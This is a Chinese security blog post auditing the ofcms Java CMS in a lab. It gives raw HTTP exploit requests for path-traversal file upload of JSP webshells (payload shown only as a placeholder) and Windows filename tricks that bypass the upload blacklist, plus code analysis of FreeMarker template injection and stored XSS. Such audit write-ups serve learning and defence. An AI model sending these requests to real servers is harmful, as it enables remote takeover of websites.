freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ofcms 代码审计 | java代码审计学习
2024-09-28 00:27:00
所属地 河南省

后台任意文件上传 (可任意路径)

漏洞位置如下图:

1727451598521.png

点击保存,利用burp拦截数据包,分析参数。

数据包如下:

POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 5189
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0

file_path=D%3A%5Cjava%5Capache-tomcat-8.5.0-windows-x86%5Capache-tomcat-8.5.0%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3C%23assign+column_name%3D'%2F'%2F%3E%0A%3C%23include+%22default%2Fcommon%2Fhead.html%22+%2F%3E%0A%3Cdiv+class%3D%22of-banner%22%3E%0A++++%3Cdiv+class%3D%22layui-carousel%22+id%3D%22banner%22%3E%0A++++++++%3Cdiv+carousel-item%3D%22%22%3E%0A++++++++++++%3C%40of.ad+site_id%3Dsite.site_id+edition%3D%22banner%22%3E%0A++++++++++++%3C%23list+ad+as+data+%3E%0A++++++++++++++++%3Cdiv%3E%3Ca+href%3D%22%24%7Bdata.ad_jump_url!'javascript%3A%3B'%7D%22%3E%3Cimg%0A++++++++++++++++++++++++src%3D%22%24%7Bsession.site.access_protocol%7D%3A%2F%2F%24%7Bsession.site.access_path%7D%24%7Bdata.ad_image_url%7D%22%0A++++++++++++++++++++++++alt%3D%22%24%7Bdata.ad_name%7D%22+style%3D%22width%3A+100%25%3B%22%3E%3C%2Fa%3E%3C%2Fdiv%3E%0A++++++++++++%3C%2F%23list%3E%0A+++++++++++%3C%2F%40of.ad%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cdiv+class%3D%22of-content%22%3E%0A++++%3Cdiv+class%3D%22of-crad%22+style%3D%22height%3A+250px%3Bwidth%3A+1200px%3Bmargin%3A+0+auto%3B%22%3E%0A++++++++%3C!--%E6%96%B0%E9%97%BB--%3E%0A++++++++%3Cdiv+class%3D%22announce%22+style%3D%22float%3A+left%3B%22%3E%0A++++++++++++%3Cp+class%3D%22title%22%3E%E6%9C%80%E6%96%B0%E6%96%B0%E9%97%BB%3C%2Fp%3E%0A++++++++++++%3Cul%3E%0A++++++++++++++++%3C%40of.content_list+site_id+%3D+site.site_id+column_name%3D%22industry%22+limit%3D5%3E%0A++++++++++++++++%3C%23list+content_list+as+data+%3E%0A++++++++++++++++++++%3Cli%3E%3Cspan%3E%24%7Bdata.create_time%7D%3C%2Fspan%3E%C2%B7++%3Ca+href%3D%22%24%7Bdata.url%7D%22+title%3D%22%24%7Bdata.title_name%7D%22%3E%24%7Bdata.title_name%7D%3C%2Fa%3E+%3C%2Fli%3E%0A++++++++++++++++%3C%2F%23list%3E%0A+++++++++++++++%3C%2F%40of.content_list%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++++++%3C!--%E5%85%AC%E5%91%8A--%3E%0A++++++++%3Cdiv+class%3D%22announce%22%3E%0A++++++++++++%3Cp+class%3D%22title%22%3E%E7%B3%BB%E7%BB%9F%E5%85%AC%E5%91%8A%3C%2Fp%3E%0A++++++++++++%3Cul%3E%0A++++++++++++++++%3C%40of.announce_list+site_id%3Dsite.site_id+limit%3D5%3E%0A++++++++++++++++++++%3C%23list+announce+as+data+%3E%0A++++++++++++++++++++++++%3Cli%3E%0A++++++++++++++++++++++++%3Ca+href%3D%22%24%7Bdata.id%7D%22%3E%3C%2Fa%3E%7C%0A++++++++++++++++++++++++++++%3Cspan%3E%24%7Bdata.create_time%7D%3C%2Fspan%3E+%3Ca+href%3D%22page.html%3Fs%3D%2Fannounce%26content_id%3D%24%7Bdata.id%7D%22+title%3D%22%24%7Bdata.title%7D%22%3E%24%7Bdata.title%7D%3C%2Fa%3E%0A++++++++++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++++++%3C%2F%23list%3E%0A++++++++++++++++%3C%2F%40of.announce_list%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A++++%3Cdiv+class%3D%22of-crad%22+style%3D%22height%3A+370px%3Bwidth%3A+1200px%3Bmargin%3A+0+auto%3Btext-align%3A+center%3B%22%3E%0A++++++++%3Cimg+src%3D%22%24%7Breroot%7D%2Fstatic%2Fassets%2Fimage%2Fapp.png%22%3E%0A++++%3C%2Fdiv%3E%0A++++%3Cdiv+class%3D%22of-crad%22+style%3D%22height%3A+300px%3Bwidth%3A+1200px%3Bmargin%3A+0+auto%3B%22%3E%0A++++++++%3C!--%E6%A1%88%E4%BE%8B--%3E%0A++++++++%3Cdiv+class%3D%22case%22%3E%0A++++++++++++%3Cp+class%3D%22title%22%3E%E5%AE%A2%E6%88%B7%E6%A1%88%E4%BE%8B+Case%3C%2Fp%3E%0A++++++++++++%3Cul%3E%0A++++++++++++++++%3C%40of.content_list+site_id+%3D+site.site_id+column_name%3D%22case%22+limit%3D8%3E%0A++++++++++++++++++++%3C%23list+content_list+as+data+%3E%0A++++++++++++++++++++++++%3Cli%3E%0A++++++++++++++++++++++++++++%3Ca+href%3D%22%24%7Bdata.url%7D%22+%3E%3Cimg+src%3D%22%24%7Bwebroot%7D%24%7Bdata.thumbnail%7D%22%3E%3Cspan+style%3D%22margin-top%3A+15px%3B++++display%3A+inline-block%3B%22%3E%24%7Bdata.title_name%7D%3C%2Fspan%3E%3C%2Fa%3E%0A++++++++++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++++++%3C%2F%23list%3E%0A++++++++++++++++%3C%2F%40of.content_list%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A%0A++++%3C%2Fdiv%3E%0A++++%3Cdiv+class%3D%22of-crad%22%3E%0A++++++++%3Cdiv+class%3D%22of-crad-content%22%3E%0A++++++++++++%3Cdiv+class%3D%22of-crad-title%22%3E%E5%85%B3%E4%BA%8E%E6%88%91%E4%BB%AC+About%3C%2Fdiv%3E%0A++++++++++++%3Cdiv+class%3D%22of-crad-body%22%3E%0A++++++++++++++++%3C%40of.content+content_id+%3D+'45'+site_id%3Dsite.site_id%3E%0A++++++++++++++++%3Cdiv+class%3D%22of-crad-body%22%3E+%24%7Bcontent.content%7D%3C%2Fdiv%3E%0A++++++++++++%3C%2F%40of.content%3E%0A++++++++++++%3C%2Fdiv%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cscript%3E%0A++++layui.use(%5B'carousel'%2C+'element'%5D%2C+function+()+%7B%0A++++++++var+carousel+%3D+layui.carousel%3B%0A++++++++var+element+%3D+layui.element%3B%0A++++++++%2F%2F%E5%9B%BE%E7%89%87%E8%BD%AE%E6%92%AD%0A++++++++carousel.render(%7B%0A++++++++++++elem%3A+'%23banner'%0A++++++++++++%2C+width%3A+'100%25'+%2F%2F%E8%AE%BE%E7%BD%AE%E5%AE%B9%E5%99%A8%E5%AE%BD%E5%BA%A6%0A++++++++++++%2C+arrow%3A+'always'+%2F%2F%E5%A7%8B%E7%BB%88%E6%98%BE%E7%A4%BA%E7%AE%AD%E5%A4%B4%0A++++++++++++%2C+height%3A+'350px'%0A++++++++++++%2C+autoplay%3A+true%0A++++++++++++%2C+full%3A+false%0A++++++++++++%2C+interval%3A+3000%0A++++++++%7D)%3B%0A++++%7D)%3B%0A%3C%2Fscript%3E%0A%3C%23include+%22default%2Fcommon%2Ffooter.html%22+%2F%3E

代码分析审计

根据请求包的路径,去后端找对处理该模块的代码

路径如下:src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

1727451680694.png

主要是上图这段代码进行处理。

代码细节分析

可以看到后端通过“systemUtil.getSiteTemplateResourcePath”函数在应用程序中获取网站模板资源的路径,并赋值给pathFile。

String resPath = getPara("res_path");
        File pathFile = null;
        if("res".equals(resPath)){
            pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
        }else {
            pathFile = new File(SystemUtile.getSiteTemplatePath());
        }

之后,通过获取一个dirs(用户可控)获取一个字符串,之后通过File拼接到pathFile后边,这里就导致一个问题,由于dirs用户可控,因此可以通过../../文件名 ,这种方式去将文件上传到任意位置。这里其实存在问题不止于此,路径可控,file_name(文件名)可控,这样就可以通过上传文件到计划任务等目录下。

String dirName = getPara("dirs");
        if (dirName != null) {
            pathFile = new File(pathFile, dirName);
        }
        String fileName = getPara("file_name");//fileName可控
        // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
        String fileContent = getRequest().getParameter("file_content");
        //进行url解码,其余无任何过滤。
        fileContent = fileContent.replace("<", "<").replace(">", ">");
        File file = new File(pathFile, fileName);
        //将fileContent的内容写入到file中,fileContent可控
        FileUtils.writeString(file, fileContent);
        rendSuccessJson();
    }
File

这里其实逻辑通俗一点的用代码表达如下

String pathFile = "D:\www\test";-------------在该cms中给参数由系统从内部获取
String dirName = "aaaa/"; ---------------------该位置又dirs传入,dirs又由用户可控
pathFile = new File(pathFil, dirName); --------pathFil的结果相当于D:\www\test\aaaa/

因此通过dirs就可以实现任意目录上传。

漏洞复现

姿势一:

通过dirs控制路径上传文件。

POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1321
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0

file_path=D%3A%5Cjava%5Capache-tomcat-8.5.0-windows-x86%5Capache-tomcat-8.5.0%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=..%2f..%2f..%2fstatic%2f&res_path=&file_name=shell.jsp&file_content=shell_code

1727451711960.png

1727451729782.png

姿势二

POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1323
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0

file_path=D%3A%5Cjava%5Capache-tomcat-8.5.0-windows-x86%5Capache-tomcat-8.5.0%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2f&res_path=&file_name=..%2f..%2f..%2fstatic%2fmazi.jsp&file_content=shell_code

1727451750345.png

Freemarker模板注入(SSTI)

FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker 模板文件主要由如下 4 个部分组成:

  • 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;

  • 注释:使用<#-- ... -->格式做注释,里面内容不会输出;#

  • #插值:即${...}或#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出;

  • FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加#予以区分,不会输出。

漏洞位置:

1727451771512.png

代码分析

通过控制器名称,结合pom.xml文件,发现该系统使用了freemarker组件,该组件是存在SSTL注入的问题。

1727451805834.png
找个html文件。

1727451825199.png

poc:
1727454200928.png

1727451847107.png

前台XSS漏洞

漏洞位置:

1727451871655.png

看到留言框肯定要去插一下呀。

构造payload:

1727454176230.png
数据包如下:

1727454147748.png

1727451901117.png

代码分析

同样根据数据包的请求路径去分析后台代码

1727451929716.png

跟踪一下Db.update发现直接通过预编译将用户输入的内容加载到数据库中,访问该界面是直接从数据库取出数据放入前端进行加载。

1727451945581.png

后记(失败的文件上传)

其实后台有一些上传功能也可以实现任意文件上传

POST /ofcms_admin/admin/ueditor/handler.html?action=uploadFile HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------36062508166233117921025510710
Content-Length: 215
Origin: http://10.4.82.181:8080
Connection: close
Cookie: JSESSIONID=CC24B754F8DAACBBCF8722216E88C4F3
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------36062508166233117921025510710
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg


-----------------------------36062508166233117921025510710--
POST /ofcms_admin/admin/comn/service/upload.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------32351271103968920550378905339
Content-Length: 450
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/f.html?p=comn/upload.html&type=test&fileParam=%7B%22fileAccept%22%3A%22file%22%2C%22fileSize%22%3A%225120%22%7D
Cookie: JSESSIONID=CC24B754F8DAACBBCF8722216E88C4F3
Priority: u=0

-----------------------------32351271103968920550378905339
Content-Disposition: form-data; name="file"; filename="1.Jsp"
Content-Type: image/jpeg


-----------------------------32351271103968920550378905339
Content-Disposition: form-data; name="p"

comn/upload.html
-----------------------------32351271103968920550378905339
Content-Disposition: form-data; name="type"

test
-----------------------------32351271103968920550378905339--
POST /ofcms_admin/admin/comn/service/editUploadImage.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------355811040324718360433030298613
Content-Length: 222
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/f.html?p=system/announce/add.html
Cookie: JSESSIONID=148CEBB652EB0E030D9D7116B010A618

-----------------------------355811040324718360433030298613
Content-Disposition: form-data; name="file"; filename="1.jsp;.jpg"
Content-Type: image/jpeg


-----------------------------355811040324718360433030298613--

代码分析

如下图所示:

1727451968696.png

UploadFile file = this.getFile("file", "image");//指定了上传文件为图片类型

file.getFile().createNewFile();跟进这个方法。

如下图:

1727451986766.png

这里限制了不允许跨目录,又做了除了“/static/下的文件可以直接访问,其他的限制,html,jsp,json文件”如下图所示:

1727452002486.png

但是这里绕过也简单,黑名单嘛,利用windows特性,绕过姿势如下:

POST /ofcms_admin/admin/comn/service/upload.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------19357649933936823912872389978
Content-Length: 464
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/f.html?p=comn/upload.html&type=test&fileParam=%7B%22fileAccept%22%3A%22file%22%2C%22fileSize%22%3A%225120%22%7D
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0

-----------------------------19357649933936823912872389978
Content-Disposition: form-data; name="file"; filename="test.jsp:.jpg"
Content-Type: image/txt

asdasda
-----------------------------19357649933936823912872389978
Content-Disposition: form-data; name="p"

comn/upload.html
-----------------------------19357649933936823912872389978
Content-Disposition: form-data; name="type"

test
-----------------------------19357649933936823912872389978--

1727452027527.png

这里在后端会通过window特性会将:.jpg去除,然后就变成了test.jsp

但是无法跨目录,而且在上边做了限制,该目录下“/upload/image/” 无法访问。

小弟才疏学浅,首个审计的java程序,在这里想做一个记录内容应该有很多不足。

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录